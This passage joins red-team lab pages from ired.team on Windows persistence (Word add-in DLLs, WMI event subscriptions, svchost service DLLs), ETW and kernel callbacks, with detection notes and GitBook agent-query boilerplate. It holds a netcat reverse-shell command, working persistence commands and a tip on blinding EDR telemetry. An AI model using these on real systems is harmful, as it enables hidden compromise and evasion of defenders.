possible to install the shim fixes manually without leaving the trace in the "Installed applications" list, however the fixes db will still have to be written to the disk and the registry will have to be modified: !\[\](/files/-LI8D49Y-KGgWpXGH\_gg) Correlate it with other events exhibited by the application that has been fixed and you may see something you might want to investigate further: !\[\](/files/-LI8E8LGIlCFDIZfNE6X) ## References {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/persistence/t1138-application-shimming.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/persistence/word-library-add-ins.md). # Word Library Add-Ins It' possible to persist in the userland by abusing word library add-ins by putting your malicious DLL into a Word's trusted location. Once the DLL is there, the Word will load it next time it is run. ## Execution Get Word's trusted locations where library add-ins can be dropped: {% tabs %} {% tab title="attacker\\@target" %} \`\`\`csharp Get-ChildItem "hkcu:\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\Trusted Locations" \`\`\` {% endtab %} {% endtabs %} !\[\](/files/-LhytB9tWdIEMv5lUNLp) Those trusted locations are actually defined in Word's Security Center if you have access to the GUI: !\[\](/files/-LhytH-t9VeQiWWp2mBG) Let's create a simple DLL that will launch a notepad.exe once the DLL addin is loaded: !\[\](/files/-LhzOmsSztaeNIRcSWpj) Compile the DLL and copy it over to \`Startup\` folder and rename it to \`evilm64.wll\`: !\[\](/files/-LhytYW4\_8OpAlmfrAqk) \`\`\` mv .\\evilm64.dll .\\evilm64.wll \`\`\` !\[\](/files/-LhzPgNrjVRZH2fMoXh-) Next time the victim opens up Word, \`evilm64.wll\` will be loaded and executed: !\[\](/files/-LhzOSZOxRWdwxLn0rPY) Interesting to note that Process Explorer does not see the evilm64.wll loaded in any of the currently running processes: !\[\](/files/-LhzPwCMi\_9dZ3vP9MDk) ...although we can definitely see that the add-in is now recognized by Word: !\[\](/files/-LhzQC88OEHPwAWNcubW) {% hint style="info" %} This technique did not work for me on Office 365 version, but worked on Office Professional. Not sure if there's a bug in the 365 version or it's just a limitation of that version. {% endhint %} ## References {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/persistence/word-library-add-ins.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101.md). # ETW: Event Tracing for Windows 101 ## Terminology \* \`Event Tracing for Windows (ETW)\` is a Windows OS logging mechanism for troubleshooting and diagnostics, that allows us to tap into an enormous number of events that are generated by the OS every second \* \`Providers\` are applications that can generate some event logs \* \`Keywords\` are event types the provider is able to serve the consumers with \* \`Consumers\` are applications that subscribe and listen to events emitted by providers \* \`Tracing session\` records events from one or more providers \* \`Contollers\` are applications that can start a trace session and enable or disable providers in that trace session ## Logman Logman.exe is a native Windows command-line utility, which is considered to be a \`Controller\`. Below, some of the concepts mentioned earlier are explored. ### Listing Providers We can see all the providers registered to Windows like so: \`\`\` logman query providers \`\`\` !\[\](/files/-M8e2TTtR1axgZ7edyJO) ### Provider Information We can get more information about the provider with \`logman query $providerName|$provider\`. One of the many built-in interesting providers available to us in Windows is \*\*Microsoft-Windows-Kernel-Process\*\*, so let's check it out: \`\`\` logman query providers Microsoft-Windows-Kernel-Process logman query providers "{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}" \`\`\` !\[\](/files/-M8e368bZhGTcygzuRwA) As we can tell from the above \`keywords\`, this provider could provide us with some process, thread and image (load/unload as we will see later) related events. {% hint style="info" %} Use \[ETWExplorer\](https://github.com/zodiacon/EtwExplorer) for a deep provider inspection, and see what events and more importantly data it can provide. {% endhint %} Below shows Microsoft-Windows-Kernel-Process being inspected with ETWExplorer with some information, which looks like something Sysmon and other similar security monitoring oriented tools could use: !\[ETWExplorer\](/files/-M8e4bdpiXm-dzi6fCtc) ### Creating a Tracing Session Let's now try to create a trace session called \`spotless-tracing\`: \`\`\` logman create trace spotless-tracing -ets \`\`\` We can see our session is now created: !\[\](/files/-M8e8Fi6ivbt47yJb9Mg) We can query the tracing session and see some information about it: \`\`\` logman query spotless-tracing -ets \`\`\` Note that at the moment, although the tracing session is running, it is not recording any events as we have not yet subscribed to any providers: !\[Events will be saved to the output location\](/files/-M8e8mFKFyMVsqaoZx8\_) ### Subscribing to Microsoft-Windows-Kernel-Process Inside the \`spotless-tracing\` tracing session, let's subscribe to events about \`PROCESSES\` and \`IMAGES\` provided by the provider \`Microsoft-Windows-Kernel-Process\` and see what they look like. In order to subscribe to those events, we first need to refer back to \`Microsoft-Windows-Kernel-Process\` available \`keywords\` (event types of this provider) and add \`0x10\` (\`WINEVENT\_KEYWORD\_PROCESS\`) to \`0x40\` (\`WINEVENT\_KEYWORD\_IMAGE\`), which gives us the total of \`0x50\`: !\[\](/files/-M8eBSiUlxBDw4VQx2Vx) We can now register a provider to the tracing session and ask it to emit events that map back to events \`WINEVENT\_KEYWORD\_PROCESS\` and \`WINEVENT\_KEYWORD\_IMAGE\`: \`\`\` logman update spotless-tracing -p Microsoft-Windows-Kernel-Process 0x50 -ets \`\`\` If we query the tracing session again, we see it now has \`Microsoft-Windows-Kernel-Process\`provider registered and listening to the two event types pertaining to processes (start/exit) and images (load/unload): \`\`\` logman query spotless-tracing -ets \`\`\` !\[\](/files/-M8eDPfgyLouu5dJ\_XMa) ### Checking the .etl Log After the tracing session has run for some time, we can check the log file by opening it with the Windows Event Viewer. We can see process creation events (event ID 1): !\[\](/files/-M8eGAX5r2MbZdX\_btaH) Image load events (event ID 5): !\[\](/files/-M8eGjBYyt83M2MOFrpt) Image unload events (event ID 6): !\[\](/files/-M8eJS0CspuFpMjtahp\_) ### Removing Providers from a Tracing Session We can remove a provider from a tracing session like so: \`\`\` logman update trace spotless-tracing --p Microsoft-Windows-Kernel-Process 0x50 -ets \`\`\` Note that the kernel provider is no longer associated with the \`spotless-tracing\` tracing session: !\[\](/files/-M8j1CqRltxIUbg-Lot\_) ### Killing the Tracing Session We can kill the entire tracing session like so: \`\`\` logman stop spotless-tracing -ets \`\`\` ...and the tracing session is no longer present on the system: !\[\](/files/-M8j1etW3trRcOQc0D7h) ### Listing Providers a Process is Registered with We can check what providers any currently running process is registered with, meaning that process will be writing events to those providers. Below shows how we can check which providers our current powershell console is registered with (\`$pid\` gives the current powershell console process id): \`\`\` logman query providers -pid $pid \`\`\` !\[\](/files/-M8jy2PGK-2wE19rGA52) ## Consuming Events via Code Thanks to \[Pavel Yosifovich\](https://github.com/zodiacon), we can use the below C# code to subscribe to a kernel provider, that will feed our console program with process related events: \`\`\`csharp # code by Pavel Yosifovich, https://github.com/zodiacon/DotNextSP2019/blob/master/SimpleKernelConsumer/Program.cs using Microsoft.Diagnostics.Tracing; using Microsoft.Diagnostics.Tracing.Parsers; using Microsoft.Diagnostics.Tracing.Session; using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading; using System.Threading.Tasks; namespace SimpleKernelConsumer { class ProcessInfo { public int Id { get; set; } public string Name { get; set; } } class Program { static void Main(string\[\] args) { var processes = Process.GetProcesses().Select(p => new ProcessInfo { Name = p.ProcessName, Id = p.Id }).ToDictionary(p => p.Id); using (var session = new TraceEventSession(Environment.OSVersion.Version.Build >= 9200 ? "MyKernelSession" : KernelTraceEventParser.KernelSessionName)) { session.EnableKernelProvider(KernelTraceEventParser.Keywords.Process | KernelTraceEventParser.Keywords.ImageLoad); var parser = session.Source.Kernel; parser.ProcessStart += e => { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine($"{e.TimeStamp}.{e.TimeStamp.Millisecond:D3}: Process {e.ProcessID} ({e.ProcessName}) Created by {e.ParentID}: {e.CommandLine}"); processes.Add(e.ProcessID, new ProcessInfo { Id = e.ProcessID, Name = e.ProcessName }); }; parser.ProcessStop += e => { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine($"{e.TimeStamp}.{e.TimeStamp.Millisecond:D3}: Process {e.ProcessID} {TryGetProcessName(e)} Exited"); }; parser.ImageLoad += e => { Console.ForegroundColor = ConsoleColor.Yellow; var name = TryGetProcessName(e); Console.WriteLine($"{e.TimeStamp}.{e.TimeStamp.Millisecond:D3}: Image Loaded: {e.FileName} into process {e.ProcessID} ({name}) Size=0x{e.ImageSize:X}"); }; parser.ImageUnload += e => { Console.ForegroundColor = ConsoleColor.DarkYellow; var name = TryGetProcessName(e); Console.WriteLine($"{e.TimeStamp}.{e.TimeStamp.Millisecond:D3}: Image Unloaded: {e.FileName} from process {e.ProcessID} ({name})"); }; Task.Run(() => session.Source.Process()); Thread.Sleep(TimeSpan.FromSeconds(60)); } string TryGetProcessName(TraceEvent evt) { if (!string.IsNullOrEmpty(evt.ProcessName)) return evt.ProcessName; return processes.TryGetValue(evt.ProcessID, out var info) ? info.Name : string.Empty; } } } } \`\`\` Don't forget to install the package: !\[\](/files/-M8eTxjK24YBFe1\_YikU) If we compile and run the code, we will now see events flowing in: !\[\](/files/-M8eUEej1H-3U2mf9HkD) ## Notes From an attacker's perspective, if you are up against some EDR or logging capability, you may be able to blind the system by killing their tracing session or removing certain providers from their tracing session. From a defender's perspective, you may want to: \* learn about the additional telemetry you could get from ETW \* think about detections that target attackers trying to tamper with your telemetry through ETW ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} \[Microsoft-Windows-Threat-Intelligence\](https://pastebin.com/6VGHjGjH) Provider Manifest as \[mentioned\](https://twitter.com/FancyCyber/status/1267536407272345602) by @FancyCyber: !\[\](/files/-M8lPy6I5dIfd9oNJ4rz) --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/persistence/t1084-abusing-windows-managent-instrumentation.md). # Abusing Windows Managent Instrumentation WMI events are made up of 3 key pieces: \* event filters - conditions that the system will listen for (i.e on new process created, on new disk added, etc.) \* event consumers - consumers can carry out actions when event filters are triggered (i.e run a program, log to a log file, execute a script, etc.) \* filter to consumer bindings - the gluing matter that marries event filters and event consumers together in order for the event consumers to get invoked. WMI Events can be used by both offenders (persistence, i.e launch payload when system is booted) as well as defenders (kill process evil.exe on its creation). ## Execution Creating \`WMI \_\_EVENTFILTER\`, \`WMI \_\_EVENTCONSUMER\` and \`WMI \_\_FILTERTOCONSUMERBINDING\`: {% code title="attacker\\@victim" %} \`\`\`csharp # WMI \_\_EVENTFILTER $wmiParams = @{ ErrorAction = 'Stop' NameSpace = 'root\\subscription' } $wmiParams.Class = '\_\_EventFilter' $wmiParams.Arguments = @{ Name = 'evil' EventNamespace = 'root\\CIMV2' QueryLanguage = 'WQL' Query = "SELECT \* FROM \_\_InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32\_PerfFormattedData\_PerfOS\_System' AND TargetInstance.SystemUpTime >= 1200" } $filterResult = Set-WmiInstance @wmiParams # WMI \_\_EVENTCONSUMER $wmiParams.Class = 'CommandLineEventConsumer' $wmiParams.Arguments = @{ Name = 'evil' ExecutablePath = "C:\\shell.cmd" } $consumerResult = Set-WmiInstance @wmiParams #WMI \_\_FILTERTOCONSUMERBINDING $wmiParams.Class = '\_\_FilterToConsumerBinding' $wmiParams.Arguments = @{ Filter = $filterResult Consumer = $consumerResult } $bindingResult = Set-WmiInstance @wmiParams \`\`\` {% endcode %} Note that the \`ExecutablePath\` property of the \`\_\_EVENTCONSUMER\` points to a rudimentary netcat reverse shell: {% code title="c:\\shell.cmd" %} \`\`\`csharp C:\\tools\\nc.exe 10.0.0.5 443 -e C:\\Windows\\System32\\cmd.exe \`\`\` {% endcode %} ## Observations Note the process ancestry of the shell - as usual, wmi/winrm spawns processes from \`WmiPrvSE.exe\`: !\[\](/files/-LJFlrXHGnVNJ2K8QgGB) On the victim/suspected host, we can see all the regsitered WMI event filters, event consumers and their bindings and inspect them for any malicious intents with these commands: {% code title="\\\_\\\_EventFilter\\@victim" %} \`\`\`csharp Get-WmiObject -Class \_\_EventFilter -Namespace root\\subscription \`\`\` {% endcode %} Note the \`Query\` property suggests this wmi filter is checking system's uptime every 5 seconds and is checking if the system has been up for at least 1200 seconds: !\[\](/files/-LJFoWCsZnYguHL-YlRk) Event consumer, suggesting that the \`shell.cmd\` will be executed upon invokation as specified in the property \`ExecutablePath\`: {% code title="\\\_\\\_EventConsumer\\@victim" %} \`\`\`csharp Get-WmiObject -Class \_\_EventConsumer -Namespace root\\subscription \`\`\` {% endcode %} !\[\](/files/-LJFoUDiQNMoub4nipAw) {% code title="\\\_\\\_FilterToConsumerBinding\\@victim" %} \`\`\`csharp Get-WmiObject -Class \_\_FilterToConsumerBinding -Namespace root\\subscription \`\`\` {% endcode %} !\[\](/files/-LJFoUDoGS6qfxn5bswJ) Microsoft-Windows-WMI-Activity/Operational contains logs for event \`5861\` that capture event filter and event consumer creations on the victim system: !\[\](/files/-LJFu5W0WMSmc57OYhqW) ## Inspection If you suspect a host to be compromised and you want to inspect any \`FilterToConsumer\` bindings, you can do it with PSRemoting and the commands shown above or you can try getting the file\`%SystemRoot%\\System32\\wbem\\Repository\\OBJECTS.DATA\` Then you can use \[PyWMIPersistenceFinder.py\](https://github.com/davidpany/WMI\_Forensics) by David Pany to parse the \`OBJECTS.DATA\` file and get a list of bindings like: \`\`\`bash ./PyWMIPersistenceFinder.py OBJECTS.DATA \`\`\` !\[\](/files/-LJPl54xsWb7cPiiIVAD) ### Strings + Grep If you are limited to only the native \\\*nix/cygwin utils you have to hand, you can get a pretty good insight into the bindings with the following command: \`\`\`csharp strings OBJECTS.DATA | grep -i filtertoconsumerbinding -A 3 --color \`\`\` Below are the results: !\[\](/files/-LJPpLp-tBdXbAIi3dLV) From the above graphic, we can easily see that one binding connects two evils - the evil consumer and the evil filter. Now that you know that you are dealing with \`evil\` filter and \`evil\` consumer, use another rudimentary piped command to look into the evil further: \`\`\`csharp strings OBJECTS.DATA | grep -i 'evil' -B3 -A2 --color \`\`\` Note how we can get a pretty decent glimpse into the malicious WMI persistence even with simple tools to hand - note the \`C:\\shell.cmd\`and \`SELECT \* FROM\` ... - if you recall, this is what we put in our consumers and filters at the very \[beginning\](/offensive-security/persistence/t1084-abusing-windows-managent-instrumentation.md#execution) of the lab: !\[\](/files/-LJPr3CKPWXT\_fsrCkW9) ## References Based on the research by \[Matthew Graeber\](https://twitter.com/mattifestation) and other great resources listed below: {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/persistence/t1084-abusing-windows-managent-instrumentation.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/persistence/persisting-in-svchost.exe-with-a-service-dll-servicemain.md). # Persisting in svchost.exe with a Service DLL This is a quick lab that looks into a persistence mechanism that relies on installing a new Windows service, that will be hosted by an svchost.exe process. ## Overview At a high level, this is how the technique works: 1. Create a service \`EvilSvc.dll\` DLL (the DLL that will be loaded into an \`svchost.exe\`) with the code we want executed on each system reboot 2. Create a new service \`EvilSvc\` with \`binPath= svchost.exe\` 3. Add the \`ServiceDll\` value to \`EvilSvc\` service and point it to the service DLL compiled in step 1 4. Modify \`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\` to specify under which group your service should be loaded into 5. Start \`EvilSvc\` service 6. The \`EvilSvc\` is started and its service DLL \`EvilSvc.dll\` is loaded into an \`svchost.exe\` ## Walkthrough ### 1. Compile Service DLL First of, let's compile our service DLL as EvilSvc.dll. This DLL is going to be loaded into an \`svchost.exe\` as part of our service \`EvilSvc\` that we will register in a second: \`\`\`cpp #include "pch.h" #define SVCNAME TEXT("EvilSvc") SERVICE\_STATUS serviceStatus; SERVICE\_STATUS\_HANDLE serviceStatusHandle; HANDLE stopEvent = NULL; VOID UpdateServiceStatus(DWORD currentState) { serviceStatus.dwCurrentState = currentState; SetServiceStatus(serviceStatusHandle, &serviceStatus); } DWORD ServiceHandler(DWORD controlCode, DWORD eventType, LPVOID eventData, LPVOID context) { switch (controlCode) { case SERVICE\_CONTROL\_STOP: serviceStatus.dwCurrentState = SERVICE\_STOPPED; SetEvent(stopEvent); break; case SERVICE\_CONTROL\_SHUTDOWN: serviceStatus.dwCurrentState = SERVICE\_STOPPED; SetEvent(stopEvent); break; case SERVICE\_CONTROL\_PAUSE: serviceStatus.dwCurrentState = SERVICE\_PAUSED; break; case SERVICE\_CONTROL\_CONTINUE: serviceStatus.dwCurrentState = SERVICE\_RUNNING; break; case SERVICE\_CONTROL\_INTERROGATE: break; default: break; } UpdateServiceStatus(SERVICE\_RUNNING); return NO\_ERROR; } VOID ExecuteServiceCode() { stopEvent = CreateEvent(NULL, TRUE, FALSE, NULL); UpdateServiceStatus(SERVICE\_RUNNING); // ##################################### // your persistence code here // ##################################### while (1) { WaitForSingleObject(stopEvent, INFINITE); UpdateServiceStatus(SERVICE\_STOPPED); return; } } extern "C" \_\_declspec(dllexport) VOID WINAPI ServiceMain(DWORD argC, LPWSTR \* argV) { serviceStatusHandle = RegisterServiceCtrlHandler(SVCNAME, (LPHANDLER\_FUNCTION)ServiceHandler); serviceStatus.dwServiceType = SERVICE\_WIN32\_SHARE\_PROCESS; serviceStatus.dwServiceSpecificExitCode = 0; UpdateServiceStatus(SERVICE\_START\_PENDING); ExecuteServiceCode(); } \`\`\` ### 2. Create EvilSvc Service Let's now create a new service called \`EvilSvc\` and specify the \`binPath\` to be \`svchost.exe -k DcomLaunch\`, which will tell Service Control Manager that we want our \`EvilSvc\` to be hosted by \`svchost.exe\` in a service group called \`DcomLaunch\`: \`\`\` sc.exe create EvilSvc binPath= "c:\\windows\\System32\\svchost.exe -k DcomLaunch" type= share start= auto \`\`\` ### 3. Modify EvilSvc - Specify ServiceDLL Path Next, inside \`HKLM\\SYSTEM\\CurrentControlSet\\services\\EvilSvc\\\`, create a new value called \`ServiceDll\` and point it to the EvilSvc.dll service DLL compiled in step 1: \`\`\` reg add HKLM\\SYSTEM\\CurrentControlSet\\services\\EvilSvc\\Parameters /v ServiceDll /t REG\_EXPAND\_SZ /d C:\\Windows\\system32\\EvilSvc.dll /f \`\`\` {% hint style="warning" %} \`EvilSvc.dll\` must exist in \`C:\\Windows\\system32\\EvilSvc.dll\` {% endhint %} At this point, our \`EvilSvc\` should be created with all the right parameters as seen in the registry: !\[\](/files/-MHCcTpCAyT8vvZBjZLS) ### 4. Group EvilSvc with DcomLaunch As a final step, we need to tell the Service Control Manager under which service group our \`EvilSvc\`should load. We want it to get loaded in the \`DcomLaunch\` group, so we need to add our service name \`EvilSvc\` in the list of services in the \`DcomLaunch\` value in \`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\`: !\[\](/files/-MH1RAqidkZy19Flf8te) ### 5. Start EvilSvc Service We can now try loading our \`EvilSvc\` service: \`\`\` sc.exe start EvilSvc \`\`\` \`EvilSvc\` is now loaded into svchost.exe as part of a \`DcomLauncher\` services group: !\[\](/files/-MHCe2MCMr15X7Adb-B\_) ## Detection Below are some initial thoughts on how one could start hunting for this technique: \* Recently created services with \`svchost.exe\` as a \`binpath\` \* Listing out ServiceDLL value for all system services and looking for DLLs that are loaded from suspicious locations (i.e non c:\\windows\\system32):\\ \`Get-ItemProperty hklm:\\SYSTEM\\ControlSet001\\Services\\\*\\Parameters | ? { $\_.servicedll } | select psparentpath, servicedll\` !\[EvilSvc.dll location sticking out\](/files/-MHCgf97QRzQtlkYzjcs) ## References {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/persistence/persisting-in-svchost.exe-with-a-service-dll-servicemain.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/subscribing-to-process-creation-thread-creation-and-image-load-notifications-from-a-kernel-driver.md). # Subscribing to Process Creation, Thread Creation and Image Load Notifications from a Kernel Driver This is a quick lab to play with some of the interesting notifications that kernel drivers can subscribe to: \* \[\`PsSetCreateProcessNotifyRoutine\`\](/miscellaneous-reversing-forensics/windows-kernel-internals/subscribing-to-process-creation-thread-creation-and-image-load-notifications-from-a-kernel-driver.md#pssetcreateprocessnotifyroutine) - notifies the driver about new/terminated processes \* \[\`PsSetCreateProcessNotifyRoutineEx\`\](/miscellaneous-reversing-forensics/windows-kernel-internals/subscribing-to-process-creation-thread-creation-and-image-load-notifications-from-a-kernel-driver.md#pssetcreateprocessnotifyroutineex) - notifies the driver about new processes being created, allows to kill them before they can run \* \[\`PsSetCreateThreadNotifyRoutine\`\](/miscellaneous-reversing-forensics/windows-kernel-internals/subscribing-to-process-creation-thread-creation-and-image-load-notifications-from-a-kernel-driver.md#pssetcreatethreadnotifyroutine) - notifies the driver about new/terminated threads \* \[\`PsSetLoadImageNotifyRoutine\`\](/miscellaneous-reversing-forensics/windows-kernel-internals/subscribing-to-process-creation-thread-creation-and-image-load-notifications-from-a-kernel-driver.md#pssetloadimagenotifyroutine) - notifies the driver about DLLs loaded by processes ## PsSetCreateProcessNotifyRoutine \`PsSetCreateProcessNotifyRoutine\` takes two parameters: \`\`\`cpp NTSTATUS PsSetCreateProcessNotifyRoutine( // pointer to a function to be called when a process is spawned or terminated PCREATE\_PROCESS\_NOTIFY\_ROUTINE NotifyRoutine, // specifies whether to subscribe or unsubscribe from this event BOOLEAN Remove ); \`\`\` Below is a snippet that shows how the routine \`sCreateProcessNotifyRoutine\` (line 2) gets registered for new/terminated process notifications on line 24: \`\`\`cpp // handle incoming notifications about new/terminated processes void sCreateProcessNotifyRoutine(HANDLE ppid, HANDLE pid, BOOLEAN create) { if (create) { PEPROCESS process = NULL; PUNICODE\_STRING parentProcessName = NULL, processName = NULL; PsLookupProcessByProcessId(ppid, &process); SeLocateProcessImageName(process, &parentProcessName); PsLookupProcessByProcessId(pid, &process); SeLocateProcessImageName(process, &processName); DbgPrint("%d %wZ\\n\\t\\t%d %wZ", ppid, parentProcessName, pid, processName); } else { DbgPrint("Process %d lost child %d", ppid, pid); } } // register sCreateProcessNotifyRoutine function to receive notifications about new/terminated processes PsSetCreateProcessNotifyRoutine(sCreateProcessNotifyRoutine, FALSE); \`\`\` Below shows how the routine \`sCreateProcessNotifyRoutine\` gets executed when a new process hostname.exe (PID 2892) is spawned by powershell (PID 7176). Additionally, it shows that the process 7176 (hostname) terminated: !\[\](/files/-M1rDPbCMOE44LE8MZY6) ## PsSetLoadImageNotifyRoutine \`PsSetLoadImageNotifyRoutine\` only takes one parameter - a pointer to a function that will handle notifications about DLLs that processes running on the system loaded: \`\`\` NTSTATUS PsSetLoadImageNotifyRoutine( PLOAD\_IMAGE\_NOTIFY\_ROUTINE NotifyRoutine ); \`\`\` Below indicates that the routine \`sLoadImageNotifyRoutine\` is going to handle our notifications as registered with \`PsSetLoadImageNotifyRoutine\` on line 14: \`\`\`cpp // handle incoming notifications about module loads void sLoadImageNotifyRoutine(PUNICODE\_STRING imageName, HANDLE pid, PIMAGE\_INFO imageInfo) { UNREFERENCED\_PARAMETER(imageInfo); PEPROCESS process = NULL; PUNICODE\_STRING processName = NULL; PsLookupProcessByProcessId(pid, &process); SeLocateProcessImageName(process, &processName); DbgPrint("%wZ (%d) loaded %wZ", processName, pid, imageName); } // register sLoadImageNotifyRoutinefunction to receive notifications new DLLs being loaded to processes PsSetLoadImageNotifyRoutine(sLoadImageNotifyRoutine); \`\`\` Testing the driver - once we open a notepad.exe, our driver gets notified about all the modules that notepad.exe loaded: !\[\](/files/-M1rffRj-dtQ2vI0zywE) ## PsSetCreateThreadNotifyRoutine \`PsSetCreateThreadNotifyRoutine\` only takes one parameter - a pointer to a function that will handle notifications about new or killed threads across all the system processes: \`\`\` NTSTATUS PsSetCreateThreadNotifyRoutine( PCREATE\_THREAD\_NOTIFY\_ROUTINE NotifyRoutine ); \`\`\` Below indicates that the routine \`sCreateThreadNotifyRoutine\` is going to handle our notifications as registered with \`PsSetCreateThreadNotifyRoutine\` on line 15: \`\`\`cpp // handle incoming notifications about new/terminated processes void sCreateThreadNotifyRoutine(HANDLE pid, HANDLE tid, BOOLEAN create) { if (create) { DbgPrint("%d created thread %d", pid, tid); } else { DbgPrint("Thread %d of process %d exited", tid, pid); } } // register sCreateThreadNotifyRoutine to receive notifications about thread creation / termination PsSetCreateThreadNotifyRoutine(sCreateThreadNotifyRoutine); \`\`\` Testing the driver now, we can see we are indeed geting notified about new and terminated threads across processes on our system: !\[\](/files/-M1rmg5Qg4XPlm-D4AGF) ## PsSetCreateProcessNotifyRoutineEx \`PsSetCreateProcessNotifyRoutineEx\` takes two arguments: \`\`\`cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( // pointer to a function to be called when a process is spawned PCREATE\_PROCESS\_NOTIFY\_ROUTINE\_EX NotifyRoutine, // specifies whether to subscribe or unsubscribe from this event BOOLEAN Remove ); \`\`\` Below is a snippet that shows how the routine \`sCreateProcessNotifyRoutineEx\` (line 3) gets registered for new process notifications on line 19. Processes with commandline containing \`notepad\` in them will be killed by setting the \`createInfo.reationStatus\` member to \`STATUS\_ACCESS\_DENIED\` (line 13): \`\`\`cpp // handle incoming notifications about new/terminated processes and kill // processes that have "notepad" in their commandline arguments void sCreateProcessNotifyRoutineEx(PEPROCESS process, HANDLE pid, PPS\_CREATE\_NOTIFY\_INFO createInfo) { UNREFERENCED\_PARAMETER(process); UNREFERENCED\_PARAMETER(pid); if (createInfo != NULL) { if (wcsstr(createInfo->CommandLine->Buffer, L"notepad") != NULL) { DbgPrint("\[!\] Access to launch notepad.exe was denied!"); createInfo->CreationStatus = STATUS\_ACCESS\_DENIED; } } } // subscribe sCreateProcessNotifyRoutineEx to new / terminated process notifications 